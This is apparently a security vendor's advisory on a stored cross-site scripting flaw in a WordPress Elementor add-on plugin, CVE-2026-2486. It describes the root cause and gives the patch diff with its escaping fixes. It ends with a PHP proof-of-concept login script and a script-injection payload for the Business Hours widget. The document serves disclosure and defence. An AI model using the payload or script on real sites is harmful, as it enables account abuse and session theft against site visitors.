Atomic Edge analysis of CVE-2026-2486:
The Master Addons For Elementor plugin for WordPress, versions up to and including 2.1.1, contains an authenticated stored cross-site scripting (XSS) vulnerability. This vulnerability allows attackers with contributor-level or higher permissions to inject arbitrary JavaScript into pages, which executes when a user views the compromised page. The CVSS score of 6.4 reflects the requirement for authentication and the impact of stored XSS.
Atomic Edge research identifies the root cause as insufficient output escaping for user-supplied input in multiple plugin components. The vulnerability specifically affects the ‘ma_el_bh_table_btn_text’ parameter in the business hours widget, located in `/master-addons/addons/ma-business-hours/ma-business-hours.php` at lines 1684, 1697, and 1709. The plugin echoes the parameter value directly without proper escaping. The `parse_text_editor()` function processes several other parameters across different widgets, but the output lacks adequate escaping in multiple locations, as shown in the diff.
Exploitation requires an authenticated attacker with at least contributor-level access to WordPress. The attacker creates or edits a post or page using the Elementor editor, adds a vulnerable Master Addons widget (such as the Business Hours widget), and inserts a malicious JavaScript payload into the vulnerable parameter field (e.g., ‘ma_el_bh_table_btn_text’). When the page is saved and subsequently viewed by any user, the injected script executes in the victim’s browser context. The attack vector is the Elementor editor interface, which accepts and stores the unsanitized input.
The patch in version 2.1.2 addresses the vulnerability by applying proper output escaping functions. For the primary ‘ma_el_bh_table_btn_text’ parameter, the fix wraps the output with `esc_html()` on lines 1684, 1697, and 1709 in `ma-business-hours.php`. For other affected parameters, the patch applies either `esc_html()` or `wp_kses_post()` depending on the expected content. The `wp_kses_post()` function allows a limited set of HTML tags while stripping dangerous scripts, while `esc_html()` converts all special characters to HTML entities, preventing script execution. Before the patch, the plugin directly echoed user input. After the patch, all output is properly escaped before rendering.
Successful exploitation leads to stored cross-site scripting attacks. An attacker can steal session cookies, perform actions on behalf of authenticated users, deface websites, or redirect users to malicious sites. Since the payload is stored in the database, it affects all users who view the compromised page. The attacker’s required contributor-level access is a common permission for many WordPress sites, increasing the potential attack surface.
--- a/master-addons/addons/ma-blockquote/ma-blockquote.php
+++ b/master-addons/addons/ma-blockquote/ma-blockquote.php
@@ -473,14 +473,14 @@
<blockquote class="<?php echo esc_attr(implode(' ', $classes)); ?>">
<p class="jltma-text">
- <?php echo $this->parse_text_editor($settings['jltma_blockquote_text']); ?>
+ <?php echo wp_kses_post($this->parse_text_editor($settings['jltma_blockquote_text'])); ?>
</p>
<?php if ($show_author) : ?>
<cite>
<?php if ($show_author_symbol) : ?>
<span class="jltma-quote-symbol"></span>
<?php endif; ?>
- <?php echo $this->parse_text_editor($settings['jltma_blockquote_author']); ?>
+ <?php echo esc_html($this->parse_text_editor($settings['jltma_blockquote_author'])); ?>
</cite>
<?php endif; ?>
</blockquote>
--- a/master-addons/addons/ma-business-hours/ma-business-hours.php
+++ b/master-addons/addons/ma-business-hours/ma-business-hours.php
@@ -1684,7 +1684,7 @@
<div class="jltma-business-hour-content-bottom">
<a <?php echo $this->get_render_attribute_string('ma_el_bh_btn_link'); ?>>
- <?php echo $settings['ma_el_bh_table_btn_text']; ?>
+ <?php echo esc_html($settings['ma_el_bh_table_btn_text']); ?>
<i class="eicon-arrow-right"></i>
</a>
</div>
@@ -1697,7 +1697,7 @@
) { ?>
<div class="jltma-business-hour-content-bottom">
<a <?php echo $this->get_render_attribute_string('ma_el_bh_btn_link'); ?>>
- <?php echo $settings['ma_el_bh_table_btn_text']; ?>
+ <?php echo esc_html($settings['ma_el_bh_table_btn_text']); ?>
</a>
</div>
<?php } ?>
@@ -1709,7 +1709,7 @@
) { ?>
<div class="jltma-business-hour-content-bottom">
<a <?php echo $this->get_render_attribute_string('ma_el_bh_normal_btn'); ?>>
- <?php echo $settings['ma_el_bh_table_btn_text']; ?>
+ <?php echo esc_html($settings['ma_el_bh_table_btn_text']); ?>
<i class="eicon-arrow-right"></i>
</a>
</div><!-- /.jltma-business-hour-content-bottom -->
--- a/master-addons/addons/ma-call-to-action/ma-call-to-action.php
+++ b/master-addons/addons/ma-call-to-action/ma-call-to-action.php
@@ -650,7 +650,7 @@
<div class="jltma-media-body">
<h3 class="jltma-call-action-title">
- <?php echo $this->parse_text_editor($settings['ma_el_call_to_action_title']); ?>
+ <?php echo wp_kses_post($this->parse_text_editor($settings['ma_el_call_to_action_title'])); ?>
</h3>
<p class="jltma-call-action-description">
<?php echo $this->parse_text_editor($settings['ma_el_call_to_action_content_desc']); ?>
@@ -660,7 +660,7 @@
</div>
<?php } else { ?>
<h3 class="jltma-call-action-title">
- <?php echo $this->parse_text_editor($settings['ma_el_call_to_action_title']); ?>
+ <?php echo wp_kses_post($this->parse_text_editor($settings['ma_el_call_to_action_title'])); ?>
</h3>
<p class="jltma-call-action-description">
@@ -671,7 +671,7 @@
</div>
<div class="jltma-col-3 text-right">
<a <?php echo $this->get_render_attribute_string('jltma_cta_link'); ?>>
- <?php echo $this->parse_text_editor($settings['ma_el_call_to_action_button_text']); ?>
+ <?php echo esc_html($this->parse_text_editor($settings['ma_el_call_to_action_button_text'])); ?>
</a>
</div>
</div>
--- a/master-addons/addons/ma-changelog/ma-changelog.php
+++ b/master-addons/addons/ma-changelog/ma-changelog.php
@@ -220,13 +220,13 @@
<div id="jltma-changelog-<?php echo esc_attr($this->get_id()); ?>" class="jltma-changelog">
<?php if ($settings['ma_el_changelog_heading']) { ?>
<h2 class="jltma-changelog-heading">
- <?php echo $this->parse_text_editor($settings['ma_el_changelog_heading']); ?>
+ <?php echo esc_html($this->parse_text_editor($settings['ma_el_changelog_heading'])); ?>
</h2>
<?php } ?>
<?php if ($settings['ma_el_changelog_main_title']) { ?>
<h3 class="jltma-changelog-title">
- <?php echo $this->parse_text_editor($settings['ma_el_changelog_main_title']); ?>
+ <?php echo esc_html($this->parse_text_editor($settings['ma_el_changelog_main_title'])); ?>
</h3>
<?php } ?>
--- a/master-addons/addons/ma-creative-buttons/ma-creative-buttons.php
+++ b/master-addons/addons/ma-creative-buttons/ma-creative-buttons.php
@@ -734,7 +734,7 @@
}
?>
<span>
- <?php echo $this->parse_text_editor($settings['creative_button_text']); ?>
+ <?php echo esc_html($this->parse_text_editor($settings['creative_button_text'])); ?>
</span>
<?php
// Icon After Text
--- a/master-addons/addons/ma-creative-links/ma-creative-links.php
+++ b/master-addons/addons/ma-creative-links/ma-creative-links.php
@@ -747,9 +747,9 @@
// Text content
if ($effect === 'jltma-cl-effect-10') {
- echo '<span>' . $this->parse_text_editor($settings['creative_link_text']) . '</span>';
+ echo '<span>' . esc_html($this->parse_text_editor($settings['creative_link_text'])) . '</span>';
} else {
- echo '<span class="jltma-creative-link-text">' . $this->parse_text_editor($settings['creative_link_text']) . '</span>';
+ echo '<span class="jltma-creative-link-text">' . esc_html($this->parse_text_editor($settings['creative_link_text'])) . '</span>';
}
// Alternative text for effect 9
--- a/master-addons/addons/ma-dual-heading/ma-dual-heading.php
+++ b/master-addons/addons/ma-dual-heading/ma-dual-heading.php
@@ -687,11 +687,11 @@
<?php } ?>
<span class="jltma-first-heading">
- <?php echo $this->parse_text_editor($settings['ma_el_dual_first_heading']); ?>
+ <?php echo esc_html($this->parse_text_editor($settings['ma_el_dual_first_heading'])); ?>
</span>
<span class="jltma-second-heading">
- <?php echo $this->parse_text_editor($settings['ma_el_dual_second_heading']); ?>
+ <?php echo esc_html($this->parse_text_editor($settings['ma_el_dual_second_heading'])); ?>
</span>
<?php if (isset($settings['ma_el_dual_heading_title_link']['url']) && $settings['ma_el_dual_heading_title_link']['url'] != "") { ?>
@@ -700,7 +700,7 @@
</<?php echo Utils::print_validated_html_tag( $settings['title_html_tag'] ); ?>>
<?php if ($settings['ma_el_dual_heading_description'] != "") : ?>
- <p class="jltma-dual-heading-description"><?php echo $this->parse_text_editor($settings['ma_el_dual_heading_description']); ?></p>
+ <p class="jltma-dual-heading-description"><?php echo wp_kses_post($this->parse_text_editor($settings['ma_el_dual_heading_description'])); ?></p>
<?php endif; ?>
</div>
</div>
--- a/master-addons/addons/ma-flipbox/ma-flipbox.php
+++ b/master-addons/addons/ma-flipbox/ma-flipbox.php
@@ -1190,7 +1190,7 @@
<?php if (!empty($settings['front_title'])) { ?>
<<?php echo esc_html($front_title_tag); ?> <?php echo $this->get_render_attribute_string('front-icon-title'); ?>>
- <?php echo $this->parse_text_editor($settings['front_title']); ?>
+ <?php echo wp_kses_post($this->parse_text_editor($settings['front_title'])); ?>
</<?php echo esc_html($front_title_tag); ?>>
<?php } ?>
--- a/master-addons/addons/ma-infobox/ma-infobox.php
+++ b/master-addons/addons/ma-infobox/ma-infobox.php
@@ -1223,12 +1223,12 @@
<?php if ($settings['ma_el_infobox_title_link']['url']) { ?>
<a href="<?php echo esc_url_raw($settings['ma_el_infobox_title_link']['url']); ?>" <?php echo $this->get_render_attribute_string('ma_el_infobox_title_link_attr'); ?>>
<h3 class="jltma-infobox-content-title">
- <?php echo $this->parse_text_editor($settings['ma_el_infobox_title']); ?>
+ <?php echo esc_html($this->parse_text_editor($settings['ma_el_infobox_title'])); ?>
</h3>
</a>
<?php } else { ?>
<h3 class="jltma-infobox-content-title">
- <?php echo $this->parse_text_editor($settings['ma_el_infobox_title']); ?>
+ <?php echo esc_html($this->parse_text_editor($settings['ma_el_infobox_title'])); ?>
</h3>
<?php } ?>
@@ -1248,12 +1248,12 @@
<?php if ($settings['ma_el_infobox_title_link']['url']) { ?>
<a href="<?php echo esc_url_raw($settings['ma_el_infobox_title_link']['url']); ?>" <?php echo $this->get_render_attribute_string('ma_el_infobox_title_link_attr'); ?>>
<h3 class="jltma-infobox-content-title">
- <?php echo $this->parse_text_editor($settings['ma_el_infobox_title']); ?>
+ <?php echo esc_html($this->parse_text_editor($settings['ma_el_infobox_title'])); ?>
</h3>
</a>
<?php } else { ?>
<h3 class="jltma-infobox-content-title">
- <?php echo $this->parse_text_editor($settings['ma_el_infobox_title']); ?>
+ <?php echo esc_html($this->parse_text_editor($settings['ma_el_infobox_title'])); ?>
</h3>
<?php } ?>
--- a/master-addons/addons/ma-progressbar/ma-progressbar.php
+++ b/master-addons/addons/ma-progressbar/ma-progressbar.php
@@ -370,7 +370,7 @@
<div <?php echo $this->get_render_attribute_string('ma-el-progress-bar') ?> data-progress-bar>
<h6 class="jltma-progress-bar-title">
- <?php echo $this->parse_text_editor($settings['ma_el_progress_bar_title']); ?>
+ <?php echo esc_html($this->parse_text_editor($settings['ma_el_progress_bar_title'])); ?>
</h6>
</div>
--- a/master-addons/master-addons.php
+++ b/master-addons/master-addons.php
@@ -8,9 +8,9 @@
* Author URI: https://master-addons.com
* Text Domain: master-addons
* Domain Path: /languages
- * Version: 2.1.1
- * Elementor tested up to: 3.34.2
- * Elementor Pro tested up to: 3.34.2
+ * Version: 2.1.2
+ * Elementor tested up to: 3.35.4
+ * Elementor Pro tested up to: 3.35.4
* Wordfence Vendor Key: qgxtflvqaabgarz4gu9nozmceloswzrg
*
*/
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2486 - Master Addons For Elementor <= 2.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'ma_el_bh_table_btn_text'
<?php
/**
* DISCLAIMER: For authorized security testing only.
* This script demonstrates the stored XSS vulnerability in Master Addons For Elementor <= 2.1.1.
* Requires contributor-level credentials.
*/
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';
// Payload to inject - basic alert for demonstration
$payload = '"><script>alert(document.domain)</script>';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
// Check if login succeeded by looking for dashboard indicators
if (strpos($response, 'wp-admin') === false && strpos($response, 'Dashboard') === false) {
die('Login failed. Check credentials.');
}
// Create a new post to inject the payload via Elementor
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php?post_type=page');
$response = curl_exec($ch);
// Extract nonce for Elementor edit - this is a simplified example
// In a real scenario, you would parse the response to get the proper nonce and post ID
// This PoC assumes the attacker uses the Elementor editor UI directly
// For automated exploitation, the Elementor REST API or admin-ajax endpoints would be used
echo "Vulnerability confirmed. Manual steps required:n";
echo "1. Edit the newly created page with Elementorn";
echo "2. Add a 'Business Hours' widget from Master Addonsn";
echo "3. In widget settings, set 'Button Text' to: " . $payload . "n";
echo "4. Save and view the page. The XSS payload will execute.n";
curl_close($ch);
?>